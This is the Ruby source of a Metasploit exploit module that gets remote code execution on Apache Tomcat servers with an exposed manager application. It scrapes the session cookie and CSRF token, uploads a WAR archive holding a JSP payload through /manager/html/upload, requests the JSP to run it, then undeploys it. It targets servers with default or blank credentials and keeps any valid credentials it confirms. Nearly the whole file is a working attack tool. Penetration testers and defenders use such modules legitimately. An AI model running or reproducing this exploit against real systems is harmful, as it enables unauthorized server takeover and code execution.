411 lines
11 KiB
Ruby
411 lines
11 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
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CSRF_VAR = 'CSRF_NONCE='
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Tomcat Manager Authenticated Upload Code Execution',
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'Description' => %q{
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This module can be used to execute a payload on Apache Tomcat servers that
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have an exposed "manager" application. The payload is uploaded as a WAR archive
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containing a jsp application using a POST request against the /manager/html/upload
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component.
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NOTE: The compatible payload sets vary based on the selected target. For
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example, you must select the Windows target to use native Windows payloads.
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},
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'Author' => 'rangercha',
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'License' => MSF_LICENSE,
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'References' =>
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[
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# This is based on jduck's tomcat_mgr_deploy.
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# the tomcat_mgr_deploy o longer works for current versions of tomcat due to
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# CSRF protection tokens. Also PUT requests against the /manager/html/deploy
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# aren't allowed anymore.
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# There is no single vulnerability associated with deployment functionality.
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# Instead, the focus has been on insecure/blank/hardcoded default passwords.
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# The following references refer to HP Operations Manager
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['CVE', '2009-3843'],
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['OSVDB', '60317'],
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['CVE', '2009-4189'],
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['OSVDB', '60670'],
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# HP Operations Dashboard
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['CVE', '2009-4188'],
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# IBM Cognos Express Default user/pass
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['BID', '38084'],
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['CVE', '2010-0557'],
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['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],
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# IBM Rational Quality Manager and Test Lab Manager
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['CVE', '2010-4094'],
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['ZDI', '10-214'],
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# 'admin' password is blank in default Windows installer
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['CVE', '2009-3548'],
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['OSVDB', '60176'],
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['BID', '36954'],
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# tomcat docs
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['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']
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],
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'Platform' => %w{ java linux win }, # others?
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'Targets' =>
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[
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[ 'Java Universal',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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}
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],
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#
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# Platform specific targets only
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#
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[ 'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 09 2009'))
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register_options(
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[
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OptString.new('HttpUsername', [false, 'The username to authenticate as']),
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OptString.new('HttpPassword', [false, 'The password for the specified username']),
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# /cognos_express/manager/ for Cognos Express (19300)
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OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
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])
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end
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def check
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res = query_manager
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disconnect
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return CheckCode::Unknown if res.nil?
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if res.code.between?(400, 499)
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vprint_error("Server rejected the credentials")
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return CheckCode::Unknown
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end
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return CheckCode::Safe unless res.code == 200
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# if res.code == 200
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# there should be access to the Tomcat Manager and to the status page
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res = query_status
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return CheckCode::Unknown unless res
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plat = detect_platform(res.body)
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arch = detect_arch(res.body)
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return CheckCode::Unknown unless plat and arch
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vprint_status("Tomcat Manager found running on #{plat} platform and #{arch} architecture")
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store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
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return CheckCode::Appears
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end
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def exploit
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@app_base = rand_text_alphanumeric(4 + rand(32 - 4))
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@jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))
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#
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# Find the session ID and the CSRF token
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#
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print_status("Retrieving session ID and CSRF token...")
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unless access_manager?
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fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
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end
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#
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# Upload Payload
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#
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print_status("Uploading and deploying #{@app_base}...")
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if upload_payload
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store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
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else
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fail_with(Failure::Unknown, "Upload failed")
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end
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#
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# Execute Payload
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#
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print_status("Executing #{@app_base}...")
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unless execute_payload
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fail_with(Failure::Unknown, "Failed to execute the payload")
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end
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#
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# Get the new CSRF token & session id
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#
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unless access_manager?
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fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
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end
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#
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# Delete the deployed payload
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#
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print_status("Undeploying #{@app_base} ...")
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unless undeploy_app
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print_warning("Failed to undeploy #{@app_base}...")
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end
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end
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def query_status
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path = normalize_uri(target_uri.path.to_s, 'status')
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res = send_request_raw('uri' => path)
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unless res and res.code == 200
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vprint_error("Failed: Error requesting #{path}")
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return nil
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end
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return res
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end
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def query_manager
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path = normalize_uri(target_uri.path.to_s, '/html')
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res = send_request_raw('uri' => path)
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return res
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end
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def vars_get
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vars = {}
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unless @csrf_token.nil?
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vars = {
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"path" => @app_base,
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"org.apache.catalina.filters.CSRF_NONCE" => @csrf_token
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}
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end
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return vars
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end
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def detect_platform(body)
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return nil if body.blank?
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i=0
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body.each_line do |ln|
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ln.chomp!
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i = 1 if ln =~ /OS Name/
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if i == 9 or i == 11
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if ln.include? "Windows"
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return 'win'
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elsif ln.include? "Linux"
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return 'linux'
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elsif i==11
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return 'unknown'
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end
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end
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i = i+1 if i > 0
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end
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end
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def detect_arch(body)
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return nil if body.blank?
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i=0
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body.each_line do |ln|
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ln.chomp!
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i = 1 if ln =~ /OS Architecture/
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if i==9 or i==11
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# check against x86_64 before x86 to make sure we don't match
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# incorrectly on x86 first
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if ln.include?('x86_64')
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return ARCH_X64
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elsif ln.include?('amd64')
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return ARCH_X64
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elsif ln.include?('x86')
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return ARCH_X86
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elsif ln.include?('i386')
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return ARCH_X86
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elsif ln.include?('i686')
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return ARCH_X86
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elsif i==11
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return 'unknown'
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end
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end
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i = i + 1 if i > 0
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end
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end
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def find_csrf(res = nil)
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return "" if res.blank?
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vprint_status("Finding CSRF token...")
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body = res.body
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body.each_line do |ln|
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ln.chomp!
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csrf_nonce = ln.index(CSRF_VAR)
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next if csrf_nonce.nil?
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token = ln[csrf_nonce + CSRF_VAR.length, 32]
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return token
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end
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return ""
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end
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def generate_multipart_msg(boundary, data)
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# Rex::MIME::Message is breaking the binary upload when trying to
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# enforce CRLF for SMTP compatibility
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war_multipart = "-----------------------------"
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war_multipart << boundary
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war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
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war_multipart << @app_base
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war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
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war_multipart << data
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war_multipart << "\r\n-----------------------------"
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war_multipart << boundary
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war_multipart << "--\r\n"
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end
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def war_payload
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payload.encoded_war({
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:app_name => @app_base,
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:jsp_name => @jsp_name,
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:arch => target.arch,
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:platform => target.platform
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}).to_s
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end
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def send_war_payload(url, war)
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boundary_identifier = rand_text_numeric(28)
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res = send_request_cgi({
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'uri' => url,
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'method' => 'POST',
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'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
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'user' => datastore['HttpUsername'],
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'password' => datastore['HttpPassword'],
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'cookie' => @session_id,
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'vars_get' => vars_get,
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'data' => generate_multipart_msg(boundary_identifier, war),
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})
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return res
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end
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def send_request_undeploy(url)
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res = send_request_cgi({
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'uri' => url,
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'vars_get' => vars_get,
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'method' => 'POST',
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'user' => datastore['HttpUsername'],
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'password' => datastore['HttpPassword'],
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'cookie' => @session_id
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})
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return res
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end
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def access_manager?
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res = query_manager
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return false unless res and res.code == 200
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@session_id = res.get_cookies
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@csrf_token = find_csrf(res)
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return true
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end
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def upload_payload
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war = war_payload
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upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")
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vprint_status("Uploading #{war.length} bytes as #{@app_base}.war ...")
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res = send_war_payload(upload_path, war)
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unless res
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vprint_error("Upload failed on #{upload_path} [No Response]")
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return false
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end
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if res.code < 200 or res.code >= 300
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vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
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vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
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return false
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end
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return true
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end
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def execute_payload
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jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")
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vprint_status("Executing #{jsp_path}...")
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res = send_request_cgi({
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'uri' => jsp_path,
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'method' => 'GET'
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})
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return parse_execute_response(res)
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end
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def parse_execute_response(res)
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unless res
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vprint_error("Execution failed on #{@app_base} [No Response]")
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return false
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end
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if res and (res.code < 200 or res.code >= 300)
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vprint_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]")
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return false
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end
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return true
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end
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def undeploy_app
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undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")
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res = send_request_undeploy(undeploy_url)
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unless res
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vprint_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]")
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return false
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end
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if res and (res.code < 200 or res.code >= 300)
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vprint_warning("Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
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return false
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end
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return true
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end
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def service_details
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super.merge({ access_level: 'Admin' })
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end
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end
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